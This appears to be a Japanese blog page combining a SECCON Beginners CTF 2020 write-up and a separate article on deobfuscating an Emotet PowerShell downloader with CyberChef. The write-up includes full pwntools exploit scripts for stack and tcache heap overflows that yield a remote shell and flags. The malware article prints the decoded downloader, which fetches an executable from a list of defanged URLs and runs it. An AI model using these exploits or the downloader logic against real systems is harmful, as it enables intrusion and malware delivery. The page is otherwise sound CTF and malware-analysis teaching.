SECCON{AAAAAAJCZEKRDNNWZUGSEZQSKKPKZA} 258587641950916 SECCON{AAAAALJCZEKRDNNWZUGSEZQSKKPKZA} 722016547806 SECCON{AAAAILJCZEKRDNNWZUGSEZQSKKPKZA} 2208931641 SECCON{AAAJILJCZEKRDNNWZUGSEZQSKKPKZA} 2234551 SECCON{AACJILJCZEKRDNNWZUGSEZQSKKPKZA} 54934 SECCON{AYCJILJCZEKRDNNWZUGSEZQSKKPKZA} 193 SECCON{MYCJILJCZEKRDNNWZUGSEZQSKKPKZA} 0 [+] flag: SECCON{MYCJILJCZEKRDNNWZUGSEZQSKKPKZA}
FLAG
SECCON{MYCJILJCZEKRDNNWZUGSEZQSKKPKZA}
SECCON Beginners CTF 2020 Writeup
SECCON Beginners CTF 2020 について
SECCON Beginners CTF 2020 が開催されました。
2020年05月25日午後2時から2020年05月25日の午後2時(24時間)
久しぶりに チームで CTF に参加しました。 Beginnersなので難易度は易しめですが、Elementary Stack(Pwn)にはまってしまい、いつの間にか大会が終わってました。 メンバが7問解いてくれて、結果は、74/1009位、1395 点でした。私も実際に3問解くことができたので、そのWriteupを紹介します。
SECCON Beginners CTF 2020 Writeup(3問)
Beginner's Stack (Pwn)
問題
Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
添付ファイル
- chall
解答例
まずは、file と checksec でファイルを確認してみます。
$ file ./chall ./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped $ checksec ./chall [*] '/root/workdir2/beginners_stack/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
次に実行してみました。
$ ./chall Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007fffffffe220 | 0x0000000000400b60 | <-- buf +--------------------+ 0x00007fffffffe228 | 0x00007ffff7dd59d0 | +--------------------+ 0x00007fffffffe230 | 0x00007ffff7fed740 | +--------------------+ 0x00007fffffffe238 | 0x00007ffff7ffe1c8 | +--------------------+ 0x00007fffffffe240 | 0x00007fffffffe250 | <-- saved rbp (vuln) +--------------------+ 0x00007fffffffe248 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007fffffffe250 | 0x0000000000000000 | <-- saved rbp (main) +--------------------+ 0x00007fffffffe258 | 0x00007ffff7a32f45 | <-- return address (main) +--------------------+ 0x00007fffffffe260 | 0x00007fffffffe338 | +--------------------+ 0x00007fffffffe268 | 0x00007fffffffe338 | +--------------------+ Input:
BOFでリターンアドレスを書き換えて、win 関数を呼び出せばよさそうです。 実行時にスタックが表示されてましたが、一応 gdbでも確認しました。
gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ run 省略 Input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA [-------------------------------------code-------------------------------------] 0x4007e9 <vuln+66>: call 0x4008da <__show_stack> 0x4007ee <vuln+71>: nop 0x4007ef <vuln+72>: leave => 0x4007f0 <vuln+73>: ret 0x4007f1 <main>: push rbp 0x4007f2 <main+1>: mov rbp,rsp 0x4007f5 <main+4>: mov rax,QWORD PTR [rip+0x201894] # 0x602090 <stdin@@GLIBC_2.2.5> 0x4007fc <main+11>: mov esi,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe208 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") 0008| 0x7fffffffe210 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") 0016| 0x7fffffffe218 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") 0024| 0x7fffffffe220 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") 0032| 0x7fffffffe228 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") 0040| 0x7fffffffe230 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") 0048| 0x7fffffffe238 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") 0056| 0x7fffffffe240 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\242\336\367\377\177") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004007f0 in vuln () gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2 AA0AAFAAbAA1AAGAAcAA2 found at offset: 40
オフセットが40だと分かりました。あとは、win関数を呼び出すように調整するだけです。 アラインメントの問題があるため、win 関数実行前に ret gadget を呼び出すことにだけ注意します。
ROP EmporiumのBeginner's Guideより
The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./chall" LIBC = "" HOST = "bs.quals.beginners.seccon.jp" PORT = 9001 GDB_SCRIPT = """ break main continue """ def exploit(io, elf, libc, rop): rop.raw(rop.find_gadget(["ret"])) rop.call(b"win") log.info(rop.dump()) offset = 40 payload = b'A' * offset payload += rop.chain() log.info('payload: {}'.format(payload)) io.sendlineafter('Input: ', payload) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh']) elf = ELF(FILE) rop = ROP(elf) if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if LIBC != '' else None else: io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
実行すると、shell を取ることができました。
$ python3 exploit.py REMOTE [*] '/root/workdir2/beginners_stack/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] Loaded cached gadgets for './chall' [+] Opening connection to bs.quals.beginners.seccon.jp on port 9001: Done [*] 0x0000: 0x400626 ret 0x0008: 0x400861 b'win'() 0x0010: b'eaaafaaa' <pad> [*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&\x06@\x00\x00\x00\x00\x00a\x08@\x00\x00\x00\x00\x00eaaafaaa' [*] Switching to interactive mode [ Address ] [ Stack ] +--------------------+ 0x00007ffe7cf471d0 | 0x4141414141414141 | <-- buf +--------------------+ 0x00007ffe7cf471d8 | 0x4141414141414141 | +--------------------+ 0x00007ffe7cf471e0 | 0x4141414141414141 | +--------------------+ 0x00007ffe7cf471e8 | 0x4141414141414141 | +--------------------+ 0x00007ffe7cf471f0 | 0x4141414141414141 | <-- saved rbp (vuln) +--------------------+ 0x00007ffe7cf471f8 | 0x0000000000400626 | <-- return address (vuln) +--------------------+ 0x00007ffe7cf47200 | 0x0000000000400861 | <-- saved rbp (main) +--------------------+ 0x00007ffe7cf47208 | 0x6161616661616165 | <-- return address (main) +--------------------+ 0x00007ffe7cf47210 | 0x000000000000000a | +--------------------+ 0x00007ffe7cf47218 | 0x00007ffe7cf472e8 | +--------------------+ Congratulations! $ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
FLAG
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Beginner's Heap (Pwn)
問題
Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
解答例
netcat で接続すると、以下のように表示されました。
$ nc bh.quals.beginners.seccon.jp 9002 Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7fa4422028e8 <win>: 0x56267677f465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint >
6 を入力すると、ヒントが表示されるので、ヒント通りに作業を進めていきます。
- malloc() -> free() で tcache に入れる。
ヒープオーバフローでチャンクサイズとtcache が指しているアドレスを __free_hook() のアドレスに書き換える(tcache の末尾に追加される)。
Address Data 0x0000564f61db0330 0x4141414141414141 0x0000564f61db0338 0x4141414141414141 0x0000564f61db0340 0x4141414141414141 0x0000564f61db0348 0x0000000000000030 0x0000564f61db0350 0x00007f2d4a4f08e8 malloc() -> free() で tcache から一つ取り出して、リストをずらす。
- もう一度 malloc() すると、__free_hook のアドレスにメモリが確保されるので、win() のアドレスを書き込む。
- free() すると、__free_hook() が呼び出されるが、win のアドレスに書き換えられているため、win()が呼び出される。
上記の手順通りに入力するスクリプトを作成しました。実行速度が速いとうまく動かない場合があったので、適当にsleepを入れました。
#!/usr/bin/env python3 from pwn import * from time import sleep ARCH = "amd64" HOST = "bh.quals.beginners.seccon.jp" PORT = 9002 def readA(io, data): io.readuntil('6. Currently available hint') io.sendlineafter('> ', b'1') io.sendline(data) log.info('read(0, A, 0x80);\ndata: {}\nlen: {}'.format(data, len(data))) sleep(1) def mallocB_readB(io, data): io.readuntil('6. Currently available hint') io.sendlineafter('> ', b'2') io.sendline(data) log.info('B = malloc(0x18); read(0, B, 0x18);\ndata: {}\nlen: {}'.format(data, len(data))) sleep(1) def freeB(io): io.readuntil('6. Currently available hint') io.sendlineafter('> ', b'3') log.info('free(B); B = NULL;') sleep(1) def describe_heap(io): io.readuntil('6. Currently available hint') io.sendlineafter('> ', b'4') output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode() log.info('Describe heap\n{}'.format(output)) sleep(1) def describe_tcache(io): io.readuntil('6. Currently available hint') io.sendlineafter('> ', b'5') output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode() log.info('Describe tcache (for size 0x20)\n{}'.format(output)) sleep(1) def hint(io): io.readuntil('6. Currently available hint') io.sendlineafter('> ', b'6') output = io.readuntil('1. read(0, A, 0x80);')[:-20].decode() log.info('Currently available hint\n{}'.format(output)) sleep(1) def get_free_hook(io): io.readuntil('<__free_hook>: ') output = io.readuntil('\n') free_hook = int(output.decode(), 16) log.info('__free_hook: {}'.format(hex(free_hook))) sleep(1) return free_hook def get_win(io): io.readuntil('<win>: ') output = io.readuntil('\n') win = int(output.decode(), 16) log.info('win: {}'.format(hex(win))) sleep(1) return win def exploit(io): free_hook = get_free_hook(io) win = get_win(io) describe_heap(io) describe_tcache(io) hint(io) mallocB_readB(io, b'A') freeB(io) readA(io, b'A' * 24 + pack(0x30) + pack(free_hook)) describe_heap(io) describe_tcache(io) hint(io) mallocB_readB(io, b'A') freeB(io) describe_tcache(io) hint(io) mallocB_readB(io, pack(win)) describe_tcache(io) hint(io) freeB(io) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') io = remote(HOST, PORT) exploit(io) io.interactive() if __name__ == '__main__': main()
実行すると、フラグが表示されます。
$ python exploit.py [+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done [*] __free_hook: 0x7f0194b978e8 [*] win: 0x5605ca09c465 [*] Describe heap -=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x5605cb459330 [+] B = (nil) +--------------------+ 0x00005605cb459320 | 0x0000000000000000 | +--------------------+ 0x00005605cb459328 | 0x0000000000000021 | +--------------------+ 0x00005605cb459330 | 0x0000000000000000 | <-- A +--------------------+ 0x00005605cb459338 | 0x0000000000000000 | +--------------------+ 0x00005605cb459340 | 0x0000000000000000 | +--------------------+ 0x00005605cb459348 | 0x0000000000020cc1 | +--------------------+ 0x00005605cb459350 | 0x0000000000000000 | +--------------------+ 0x00005605cb459358 | 0x0000000000000000 | +--------------------+ 0x00005605cb459360 | 0x0000000000000000 | +--------------------+ 0x00005605cb459368 | 0x0000000000000000 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [*] Describe tcache (for size 0x20) -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Currently available hint Tcache manages freed chunks in linked lists by size. Every list can keep up to 7 chunks. A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk. Let's check what happens when you overwrite fd by Heap Overflow. [*] B = malloc(0x18); read(0, B, 0x18); data: b'A' len: 1 [*] free(B); B = NULL; [*] read(0, A, 0x80); data: b'AAAAAAAAAAAAAAAAAAAAAAAA0\x00\x00\x00\x00\x00\x00\x00\xe8x\xb9\x94\x01\x7f\x00\x00' len: 40 [*] Describe heap -=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x5605cb459330 [+] B = (nil) +--------------------+ 0x00005605cb459320 | 0x0000000000000000 | +--------------------+ 0x00005605cb459328 | 0x0000000000000021 | +--------------------+ 0x00005605cb459330 | 0x4141414141414141 | <-- A +--------------------+ 0x00005605cb459338 | 0x4141414141414141 | +--------------------+ 0x00005605cb459340 | 0x4141414141414141 | +--------------------+ 0x00005605cb459348 | 0x0000000000000030 | +--------------------+ 0x00005605cb459350 | 0x00007f0194b978e8 | +--------------------+ 0x00005605cb459358 | 0x000000000000000a | +--------------------+ 0x00005605cb459360 | 0x0000000000000000 | +--------------------+ 0x00005605cb459368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [*] Describe tcache (for size 0x20) -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x00005605cb459350(rw-) ] || \/ [ 0x00007f0194b978e8(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Currently available hint It seems __free_hook is successfully linked to tcache! And the chunk size is properly forged! [*] B = malloc(0x18); read(0, B, 0x18); data: b'A' len: 1 [*] free(B); B = NULL; [*] Describe tcache (for size 0x20) -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x00007f0194b978e8(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Currently available hint It seems __free_hook is successfully linked to tcache! The first link of tcache is __free_hook! Also B is empty! You know what to do, right? [*] B = malloc(0x18); read(0, B, 0x18); data: b'e\xc4\t\xca\x05V\x00\x00' len: 8 [*] Describe tcache (for size 0x20) -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Currently available hint It seems you did everything right! `free` is now equivalent to `win` [*] free(B); B = NULL; [*] Switching to interactive mode Congratulations! ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
FLAG
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
Noisy equations (Crypto)
問題
noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip
添付ファイル
- problem.py
解答例
ファイルを確認すると、problem.py というPythonスクリプトが入っていました。
from os import getenv from time import time from random import getrandbits, seed FLAG = getenv("FLAG").encode() SEED = getenv("SEED").encode() L = 256 N = len(FLAG) def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)]) coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)] seed(SEED) answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs] print(coeffs) print(answers)
上記のスクリプトを読み取ると、以下のような感じの行列式で表せます(フラグの文字数が3の場合)。
- a ~ i は、coeffs(係数)
- s1 ~ s3 は、フラグ文字
- n1 ~ n3 は、ランダムなノイズ
- y1 ~ y3 は、answers(計算結果)
SEED値は、常に固定なので、上記のスクリプトを2回実行して引いてあげれば打ち消すことができます。
上記の通り計算するスクリプトを作成しました。
#!/usr/bin/env python3 from pwn import * import numpy as np HOST = 'noisy-equations.quals.beginners.seccon.jp' PORT = 3000 def get_params(): context.log_level = 'WARN' if args['REMOTE']: io = remote(HOST, PORT) else: io = process(['python3', 'problem.py']) coeffs = eval(io.readline().strip()) answers = eval(io.readline().strip()) io.close() answers_matrix = [] for i in answers: answers_matrix.append([i]) return coeffs, answers_matrix def main(): coeffs_1, answers_1 = get_params() coeffs_2, answers_2 = get_params() C_1 = np.matrix(coeffs_1, dtype='float64') # 桁が大きいので float64 として扱う C_2 = np.matrix(coeffs_2, dtype='float64') Y_1 = np.matrix(answers_1, dtype='float64') Y_2 = np.matrix(answers_2, dtype='float64') S = np.linalg.inv(C_1 - C_2) * (Y_1 - Y_2) S = np.rint(S) # 計算結果に多少誤差が出るので、四捨五入する S = S.astype(int) flag = ''.join([chr(c) for c in S]) print('flag: {}'.format(flag)) if __name__ == '__main__': main()
実行すると、フラグが表示されます。
$ python3 solve.py REMOTE ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
FLAG
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
CyberChef で Emotet ダウンローダを読んでみた
CyberChef のレシピと変換結果
検証用に使用した Emotet ダウンローダ
SHA256: 970DF6100D8375AF169BB259DF2C7BB1AD641294E34ED57DC3AD02A38371B4C7
https://app.any.run/tasks/09f54bc7-efd2-4da7-a2cb-5f0d535c44d5/app.any.run
-
CyberChef レシピ
CHEF FORMATRegular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches') Defang_URL(true,true,true,'Only full URLs') Syntax_highlighter('powershell')
COMPACT JSON[{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Decode text","args":["UTF-16LE (1200)"]},{"op":"CSS Beautify","args":[" "]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"`"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'+'"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'http"},"\\n'http",true,false,true,false]},{"op":"Fork","args":["\\n","\\n",false]},{"op":"Conditional Jump","args":["http",false,"http",1]},{"op":"To Lower case","args":[]},{"op":"Label","args":["http"]},{"op":"Merge","args":[]},{"op":"Register","args":["(\\.[\"'][Ss][Pp][Ll][Ii][Tt][\"'])",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},".\"split\"",true,false,true,false]},{"op":"Register","args":["((?<=\\+\\$).*(?=\\+))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R1"},"file_name",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=\\$env))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R2"},"file_path",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=.\\(.new-object))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R3"},"net_webclient",true,false,true,false]},{"op":"Register","args":["((?<=in \\$).*(?=\\)))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R4"},"url_list",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?= in))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R5"},"url",true,false,true,false]},{"op":"Regular expression","args":["User defined","^(?=.*(file|net|url|http|break|{|})).*$",true,true,false,false,false,false,"List matches"]},{"op":"Defang URL","args":[true,true,true,"Only full URLs"]},{"op":"Syntax highlighter","args":["powershell"]}]
デコード・整形後のスクリプト結果
この検体以外にも60検体ほど試してみましたが、すべて同じように変換できました。
-
変換後のスクリプト
以下のように、かなり読みやすくなりました。$file_name = '209'; $file_path=$env:userprofile+'\'+$file_name+'.exe'; $net_webclient=.('new-object') net.webclient; $url_list= 'hxxp[://]bolehprediksi[.]com/wp-includes/ifrEFSqSw /*hxxp[://]www[.]designindia[.]live/js/ycCKqHl /*hxxp[://]www[.]hair2mpress[.]com/oeiwosk36j3ss/wtuds/vedMDhc /*hxxp[://]www[.]worldnoticiasonline[.]com/wp-content/uploads/vvhaa000vj-mq98v-19988518 /*hxxps[://]9jabliss[.]com/oirxio/nwkddr/'."split"([char]42); foreach($url in $url_list){ try{ $net_webclient."downloadfile"($url, $file_path); if ((.('get-item') $file_path)."length" -ge 33624) { ([wmiclass]'win32_process')."create"($file_path); break; } } catch{ } }
解説
ANY.RUN から PowerShell スクリプトを取ってくる
- 右端にある PROCESS から
PoWERsheLL.exe -e ~
をクリックする。 - クリックして出てきた PROCESS DETAILS の More Info をクリックする。
- Command Line に実際に使用されたスクリプトが書かれている。
- コピーして CyberChef に貼る。
Base64デコードする
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)')
整形して色を付ける
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Syntax_highlighter('powershell')
変換結果
ポイント
- CSS_Beautify で整形する。
- Syntax_highlighter で色を付ける。
` と '+' を削除する
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Syntax_highlighter('powershell')
変換結果
ポイント
- '+' は、文字列同士を結合しているだけなので、Find/Replace で削除する。
- ` は、エスケープ文字なので、Find/Replace で削除する。
URL以外の文字列を小文字に変換する
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Syntax_highlighter('powershell')
変換結果
- ポイント
変数名を分かりやすくする
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Syntax_highlighter('powershell')
変換結果
ポイント
- Register で該当する変数名をレジスタ($R1~$R5)に登録する。
- それぞれを Find/Replace で分かりやすい変数名に変換していく。
未使用な変数定義を削除する
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches') Syntax_highlighter('powershell')
変換結果
ポイント
- Regular_expression で file、net、url、http、break、{、} を含む行のみを抽出する。
URLを無力化する
-
ここまでの CyberChef レシピ
